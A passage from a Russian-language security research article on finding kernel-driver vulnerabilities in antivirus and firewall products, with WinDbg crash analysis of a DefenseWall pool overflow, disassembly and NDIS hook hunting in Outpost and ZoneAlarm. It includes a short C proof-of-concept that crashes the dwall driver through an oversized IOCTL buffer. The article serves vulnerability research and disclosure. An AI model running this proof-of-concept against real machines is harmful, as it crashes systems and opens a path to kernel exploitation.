InBuff: 0x00f60000, InSize: 0x00080012
OutBuff: 0x00f60000, OutSize: 0x00080012
Очевидно, что при обработке последнего IRP-запроса с I/O Control Code, равным 0x00222094, исключение и произошло. Далее дело за отладчиком, который поможет нам понять его причину. В ответ на !analyze –v, WinDbg, помимо всего прочего, показал нам такие строки:
Код:
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e108b000, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 80536d60, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000001, (reserved)
Также отладчик сообщил, что адрес 0xe108b000, по которому осуществлялась вызвавшая исключение попытка записи, принадлежит подкачиваемому пулу ядра. А это хорошие новости, так как мы имеем дело с переполнением пула, которое, скорее всего, подлежит эксплуатации. Вывод команд kb (kernel backtrace) и !irp подтвердил предположение об вызвавшем исключение IRP-запросе:
Код:
kd> kb
ChildEBP RetAddr Args to Child
f7bc63c8 804f780d 00000003 e108b000 00000000 nt!RtlpBreakWithStatusInstruction
f7bc6414 804f83fa 00000003 00000000 c0708458 nt!KiBugCheckDebugBreak+0x19
f7bc67f4 804f8925 00000050 e108b000 00000001 nt!KeBugCheck2+0x574
f7bc6814 8051bf07 00000050 e108b000 00000001 nt!KeBugCheckEx+0x1b
f7bc6874 8053f6ec 00000001 e108b000 00000000 nt!MmAccessFault+0x8e7
f7bc6874 80536d60 00000001 e108b000 00000000 nt!KiTrap0E+0xcc
f7bc6904 f8017040 e107b000 814c100f 815b9760 nt!wcscat+0x1f
WARNING: Stack unwind information not available. Following frames may be wrong.
f7bc6974 f80038d3 814c100f 814a1003 814e100f dwall+0x47040
f7bc6adc 804eddf9 81785670 816db978 806d02d0 dwall+0x338d3
f7bc6aec 80573b42 816db9e8 81694038 816db978 nt!IopfCallDriver+0x31
f7bc6b00 805749d1 81785670 816db978 81694038 nt!IopSynchronousServiceTail+0x60
f7bc6ba8 8056d33c 00000058 00000000 00000000 nt!IopXxxControlFile+0x5e7
f7bc6bdc f8001106 00000058 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f7bc6c20 f9da590f 00000058 00000000 00000000 dwall+0x31106
f7bc6d34 8053c808 00000058 00000000 00000000 IOCTL_fuzzer+0x190f
f7bc6d34 7c90eb94 00000058 00000000 00000000 nt!KiFastCallEntry+0xf8
00cff9ec 7c90d8ef 7c801671 00000058 00000000 ntdll!KiFastSystemCallRet
00cff9f0 7c801671 00000058 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
00cffa50 0042fc3b 00000058 00222094 00f60000 kernel32!DeviceIoControl+0xdd
00cffaa8 0040ce9d 00f50000 00000000 009e0000 DefenseWall+0x2fc3b
kd> !irp 816db978
Irp is active with 1 stacks 1 is current (= 0x816db9e8)
No Mdl: System buffer=814a1000: Thread 815b9550: Irp stack trace.
cmd flg cl Device File Completion-Context
>[ e, 0] 5 0 81785670 81694038 00000000-00000000
\Driver\dwall
Args: 00080012 00080012 00222094 00000000
Выделенный адрес есть не что иное, как указатель на структуру _IRP, который передаётся в стеке обработчику IRP_MJ_DEVICE_CONTROL целевого драйвера. Теперь мы можем совершенно точно сказать, что исключение было вызвано запросом с кодом 0x00222094. Дальнейший анализ стека вызовов приводит нас к процедуре, начинающейся по адресу dwall+0x46f00. В самом начале она выделяет участок памяти фиксированного размера в подкачиваемом пуле:
Код:
; размер выделяемой памяти
f8016f2a 6800000100 push 10000h
; тип пула (1 = PagedPool)
f8016f2f 6a01 push 1
f8016f31 e8eea9fbff call dwall+0x1924 (f7fd1924)
f8016f36 8945c4 mov dwordptr [ebp-3Ch],eax; обратите внимание на отсутствие проверки успешности выделения памяти; такие огрехи не слишком критичны, но могут много чего рассказать о разработчике =)
Далее происходит копирование данных из полученного в IRP-запросе буфера в выделенную память без проверки их размера, что и вызывает переполнение пула:
Код:
; адрес строки "\\Registry\\Machine\\SOFTWARE\\SoftSphere Technologies\\DefenceWall"
f8017022 68187104f8 push offset dwall+0x77118 (f8047118)
; указатель на выделенную ранее память
f8017027 8b45c4 mov eax,dwordptr [ebp-3Ch]
f801702a 50 push eax; вызов функции wcscpy
f801702b e8c8670100 call dwall+0x5d7f8 (f802d7f8)
f8017030 83c408 add esp,8
; первый параметр, который был передан в функцию dwall+0x46f00; он указывает на данные, которые находятся во входном буфере IRP-запроса по смещению 2000Fh
f8017033 8b4d08 mov ecx,dwordptr [ebp+8]
f8017036 51 push ecx; указатель на выделенную ранее память
f8017037 8b55c4 mov edx,dwordptr [ebp-3Ch]
f801703a 52 push edx; вызов функции wcscat
f801703b e8be670100 call dwall+0x5d7fe (f802d7fe)
f8017040 83c408 add esp,8
Пример Proof of Concept кода, демонстрирующего данную уязвимость, весьма тривиален:
Код:
#include <windows.h>
#include"ntdll.h"#define BUFF_SIZE 0x00080012
#define IOCTL_CODE 0x00222094
int _tmain(int argc, _TCHAR* argv[])
{
IO_STATUS_BLOCK StatusBlock;
NTSTATUS ns;
// открываем устройство драйвера DefenceWall-а
HANDLE hDev = CreateFile(
"\\\\.\\Global\\dwall",
GENERIC_READ | GENERIC_WRITE,
0, NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDev == INVALID_HANDLE_VALUE)
{
// ошибка при открытии устройстваreturn -1;
}
// выделяем участок памяти нужного размера для данныхchar *Buff = (char *)VirtualAlloc(NULL, BUFF_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (Buff)
{
// заполняем его мусором
memset(Buff, 'A', BUFF_SIZE);
// отправляем запрос устройству
ns = NtDeviceIoControlFile(
hDev,
NULL, NULL, NULL,
&StatusBlock,
IOCTL_CODE,
Buff, BUFF_SIZE,
Buff, BUFF_SIZE
);
}
CloseHandle(hDev);
return 0;
}
IOCTL Fuzzer помог мне найти уязвимости не только в DefenceWall-е, но и во многих других антивирусах и продуктах класса Internet Security, которые были протестированы. Этот факт подтверждает весьма хорошие перспективы в плане дальнейшего использования данного метода, даже несмотря на всю его простоту и примитивность.
Ручной поиск уязвимостей
Уязвимости могут скрываться не только в обработчиках IRP-запросов: точек взаимодействия драйвера и других компонентов операционной системы может быть довольно много. К тому же, рассмотренный ранее метод фаззинга не является чем-то самостоятельным, и его стоит воспринимать исключительно как технику сугубо инструментального характера, предназначенную для частичной автоматизации одного из этапов ручного анализа. А раз уж мы сказали, что получение данных драйвером средствами диспетчера ввода-вывода является лишь одной точкой взаимодействия, необходимо уделить внимание и другим возможным:
- Получение данных из общих ресурсов операционной системы: файлы, ключи и параметры системного реестра.
- Получение данных из data-flow других потоков системы путём перехвата функций в ядре и других компонентах Ring 0.
- Перехват сетевого трафика и работа с ним. В зависимости от особенностей и методов перехвата может рассматриваться как более частный вариант предыдущего пункта.
Очевидно, что полный реверсинг бинарного файла драйвера может оказаться слишком трудоёмким, но в случае, когда драйвер читает данные из файлов или системного реестра, у нас попросту нет другого выбора. Конечно, существуют утилиты вроде Registry Monitor и File Monitor от Марка Руссиновича (http://technet.microsoft.com/en-us/sysinternals/default.aspx), но они предназначены в первую очередь для мониторинга активности со стороны процессов пользовательского режима, и для нахождения точек взаимодействия находящихся внутри конкретных драйверов режима ядра не подходят в принципе. Хотя вполне возможно и самостоятельное написание инструментов подобного плана, которые бы подходили для анализа активности со стороны драйверов режима ядра.
С перехватами функций ядра исследуемым драйвером дела обстоят гораздо лучше: есть масса антируткитов, которые способны их обнаруживать и представлять информацию в виде вполне наглядного отчёта. Для наших целей лучше всего подходит бесплатная утилита под названием Rookit Unhooker, которая уже упоминалась в статье:
Рисунок 8. Rootkit Unhooker нашел перехваты, установленные Kaspersky Internet Security.
Суть дальнейшей работы по поиску уязвимостей заключается в анализе машинного кода обработчиков найденных перехватов с целью установить, насколько корректно обрабатываются получаемые в них данные. По итогам анализа также весьма логичным будет написание узкоспециализированного фаззера, который будет каким-либо образом добиваться передачи управления перехватываемой функции и передачи ей заведомо некорректных параметров. В качестве примера подобного фаззера можно привести утилиту BSODhook (http://www.matousec.com/projects/bsodhook/), которая предназначена для фаззинга перехваченных системных сервисов.
Для перехвата сетевого трафика NDIS драйверы промежуточного уровня вместо перехватов каких-либо функций могут использовать и предусмотренные разработчиками операционной системы методы фильтрации. Рассказ о сути самих методов выходит за рамки тематики данной статьи, но для исследователя будет важен тот факт, что данные методы требуют создания со стороны драйвера-фильтра дополнительных NDIS протоколов и минипортов, с которыми будут ассоциированы функции-обработчики, вызываемые NDIS-библиотекой для передачи драйверу информации о сетевых запросах. Для работы с NDIS протоколами и минипортами отладчик WinDbg имеет расширение под названием ndiskd.dll, которое подробно описано в документации к Debugging Tools For Windows. Использовать это расширение для поиска обработчиков сетевых запросов драйвера-фильтра очень просто. Ниже я продемонстрирую это на примере фильтра, устанавливаемого Outpost Firewall.
Код:
kd> !load ndiskd.dll
kd> !protocols
Protocol 8178ff20: TCPIP_WANARP
Open 8178fe58 - Miniport: 818bd930 WAN Miniport (IP) - Packet Scheduler Miniport
Protocol 818b86f8: TCPIP
Open 817a3da8 - Miniport: 818bd130 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Protocol 81998af8: NDPROXY
Open 817d3e60 - Miniport: 818c26c8 WAN Miniport (L2TP)
Open 817d4298 - Miniport: 818c26c8 WAN Miniport (L2TP)
Open 818a56c0 - Miniport: 818b9538 Direct Parallel
Open 818a57c0 - Miniport: 818b9538 Direct Parallel
Protocol 818bc150: PSCHED
Open 817c8eb8 - Miniport: 818c3130 VMware Accelerated AMD PCNet Adapter - Agnitum firewall miniport
Open 817cd6f8 - Miniport: 818c5a60 WAN Miniport (IP) - Agnitum firewall miniport
Open 817d07e0 - Miniport: 818c5130 WAN Miniport (Network Monitor) - Agnitum firewall miniport
Protocol 818c0e38: RASPPPOE
Protocol 818c1600: NDISWAN
Open 818a6c98 - Miniport: 818b9538 Direct Parallel
Open 817d22f8 - Miniport: 818be7d0 WAN Miniport (PPTP)
Open 818a7cd0 - Miniport: 818c0900 WAN Miniport (PPPOE)
Open 81940420 - Miniport: 818c26c8 WAN Miniport (L2TP)
Protocol 81901260: AFW
Open 817cb9b8 - Miniport: 818c7ad0 VMware Accelerated AMD PCNet Adapter
Open 817d02e8 - Miniport: 818c0130 WAN Miniport (IP)
Open 819e8da8 - Miniport: 818bfb08 WAN Miniport (Network Monitor)
kd> dt _NDIS_OPEN_BLOCK 817cb9b8
NDIS!_NDIS_OPEN_BLOCK
+0x000 MacHandle : 0x817cc008
+0x004 BindingHandle : 0x817cb9b8
+0x008 MiniportHandle : 0x818c7ad0 _NDIS_MINIPORT_BLOCK
+0x00c ProtocolHandle : 0x81901260 _NDIS_PROTOCOL_BLOCK
+0x010 ProtocolBindingContext : 0x817cba80
+0x014 MiniportNextOpen : (null)
+0x018 ProtocolNextOpen : 0x817d02e8 _NDIS_OPEN_BLOCK
+0x01c MiniportAdapterContext : 0x818a1000
+0x020 Reserved1 : 0 ''
+0x021 Reserved2 : 0 ''
+0x022 Reserved3 : 0 ''
+0x023 Reserved4 : 0 ''
+0x024 BindDeviceName : 0x818c7ae0 _UNICODE_STRING "\DEVICE\{368D404A-029C-46C5-8ED5-1F440E809B8E}"
+0x028 Reserved5 : 0
+0x02c RootDeviceName : 0x818ad134 _UNICODE_STRING "\DEVICE\{368D404A-029C-46C5-8ED5-1F440E809B8E}"
+0x030 SendHandler : 0xf964887b int NDIS!ndisMSendX+0
+0x030 WanSendHandler : 0xf964887b int NDIS!ndisMSendX+0
+0x034 TransferDataHandler : 0xf965efd5 int NDIS!ndisMTransferData+0
+0x038 SendCompleteHandler : 0xf955eaa6 void afw+9aa6
+0x03c TransferDataCompleteHandler : 0xf955ed06
+0x040 ReceiveHandler : 0xf955edfc
+0x044 ReceiveCompleteHandler : 0xf955ebd8
+0x048 WanReceiveHandler : (null)
+0x04c RequestCompleteHandler : 0xf955eb42
+0x050 ReceivePacketHandler : 0xf955f118
+0x054 SendPacketsHandler : 0xf966024f void NDIS!ndisMSendPacketsX+0
+0x058 ResetHandler : 0xf9660b56 int NDIS!ndisMReset+0
+0x05c RequestHandler : 0xf965d8b7 int NDIS!ndisMRequestX+0
+0x060 ResetCompleteHandler : 0xf955eb3a
+0x064 StatusHandler : 0xf955f370
+0x068 StatusCompleteHandler : 0xf955ebf8
...
Выделенный адрес – указатель на структуру NDIS_OPEN_BLOCK. Он является дескриптором, который возвращает функция NdisOpenAdapter после установки связи между NDIS протоколом, созданным драйвером файрвола (в списке протоколов он называется AFW), и промежуточным NDIS-драйвером, представляющим физический сетевой адаптер.
Очень часто для перехвата сетевого трафика драйверы персональных файрволов подменяют адреса обработчиков в уже имеющихся структурах NDIS_OPEN_BLOCK, которые принадлежат NDIS-протоколу TCPIP (это стандартный NDIS-протокол, создаваемый при загрузке системы драйвером tcpip.sys, в котором реализована функциональность TCP/IP-стека). Следующий пример демонстрирует поиск подобных перехватов, установленных файрволом ZoneAlarm.
Код:
kd> !load ndiskd.dll
kd> !protocols
Protocol 81685720: VSDATANT
Protocol 8179f330: TCPIP_WANARP
Open 8162d388 - Miniport: 818bf130 WAN Miniport (IP) - Packet Scheduler Miniport
Protocol 818b8a68: TCPIP
Open 817ae510 - Miniport: 818be900 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Protocol 819e8508: NDPROXY
Open 818ab008 - Miniport: 818bd130 Direct Parallel
Open 818a80d8 - Miniport: 818bd130 Direct Parallel
Open 818ab6c0 - Miniport: 818c5698 WAN Miniport (L2TP)
Open 818ab7c0 - Miniport: 818c5698 WAN Miniport (L2TP)
Protocol 818bef28: PSCHED
Open 818a95b0 - Miniport: 818c86b8 VMware Accelerated AMD PCNet Adapter
Open 818aa5b8 - Miniport: 818c3130 WAN Miniport (IP)
Open 819e7e70 - Miniport: 818c2b08 WAN Miniport (Network Monitor)
Protocol 818c3e38: RASPPPOE
Protocol 818c4628: NDISWAN
Open 818a92f8 - Miniport: 818bd130 Direct Parallel
Open 818abe90 - Miniport: 818c14a0 WAN Miniport (PPTP)
Open 818b11f8 - Miniport: 818c3900 WAN Miniport (PPPOE)
Open 81940f08 - Miniport: 818c5698 WAN Miniport (L2TP)
kd> dt _NDIS_OPEN_BLOCK 817ae510
NDIS!_NDIS_OPEN_BLOCK
+0x000 MacHandle : 0x817ae4a0
+0x004 BindingHandle : 0x817ae510
+0x008 MiniportHandle : 0x818be900 _NDIS_MINIPORT_BLOCK
+0x00c ProtocolHandle : 0x818b8a68 _NDIS_PROTOCOL_BLOCK
+0x010 ProtocolBindingContext : 0x817ae728
+0x014 MiniportNextOpen : (null)
+0x018 ProtocolNextOpen : (null)
+0x01c MiniportAdapterContext : 0x817d6250
+0x020 Reserved1 : 0 ''
+0x021 Reserved2 : 0 ''
+0x022 Reserved3 : 0 ''
+0x023 Reserved4 : 0 ''
+0x024 BindDeviceName : 0x818be910 _UNICODE_STRING "\DEVICE\{D67A5C72-2D77-4C72-98B1-F7E870565167}"
+0x028 Reserved5 : 0
+0x02c RootDeviceName : 0x818ab57c _UNICODE_STRING "\DEVICE\{368D404A-029C-46C5-8ED5-1F440E809B8E}"
+0x030 SendHandler : 0x81654018
+0x030 WanSendHandler : 0x81654018
+0x034 TransferDataHandler : 0xf965efd5 int NDIS!ndisMTransferData+0
+0x038 SendCompleteHandler : 0xf81e37a8 void tcpip!ARPSendComplete+0
+0x03c TransferDataCompleteHandler : 0xf8216681 void tcpip!ARPTDComplete+0
+0x040 ReceiveHandler : 0x81654098
+0x044 ReceiveCompleteHandler : 0xf81e07ed void tcpip!ARPRcvComplete+0
+0x048 WanReceiveHandler : (null)
+0x04c RequestCompleteHandler : 0xf81e6f0b void tcpip!ARPRequestComplete+0
+0x050 ReceivePacketHandler : 0x816540a8
+0x054 SendPacketsHandler : 0x81654028
+0x058 ResetHandler : 0xf9660b56 int NDIS!ndisMReset+0
+0x05c RequestHandler : 0xf965d8b7 int NDIS!ndisMRequestX+0
+0x060 ResetCompleteHandler : 0xf82166a3 void tcpip!ARPResetComplete+0
+0x064 StatusHandler : 0xf81f7922 void tcpip!ARPStatus+0
+0x068 StatusCompleteHandler : 0xf81f781b void tcpip!ARPStatusComplete+0
...
Обработчики, адреса которых не принадлежат драйверам tcipip.sys или NDIS.sys, являются перехваченными (в приведённом примере их адреса выделены жирным шрифтом). После того, как обработчики принадлежащие драйверу файрвола, найдены, на них можно поставить break point в отладчике и проследить, каким образом обрабатываются принятые сетевые пакеты. Кто знает, может где-то в недрах драйвера найдётся уязвимость, подходящая для удалённой эксплуатации.
Выводы
Уязвимости есть практически везде, и драйверы не являются исключением. Само ядро Windows достаточно безопасно и изучено вдоль и поперек, а это означает, что главной причиной наличия уязвимостей по-прежнему остаётся человеческий фактор со стороны разработчиков уже конкретного конечного продукта, а не программной платформы на которой он работает. Безусловно, кроме ядра в Windows есть множество других компонентов, работающих в режиме ядра, уязвимости в которых находили, находят, и будут находить, но это уже проблемы исключительно Microsoft, и от ответственности они никого не избавляют. В случае с защитным ПО ситуация также усугубляется тем, что даже самый качественный и тщательно протестированный программный код может не сыграть в конечном итоге никакой роли, если на этапе его проектирования достаточного внимания не было уделено фундаментальности подхода к разработке самой архитектуры и базовых принципов работы защиты. Однако я очень надеюсь, что кого-то из разработчиков моя статья заставит задуматься и сделать определённые выводы, которые впоследствии скажутся на результатах их работы самым положительным образом. В конце концов, ничего сложного в написании «непробиваемого» кода нет, нужны всего лишь чуточка внимания и немного аналитического мышления.
Автор: Олексюк Дмитрий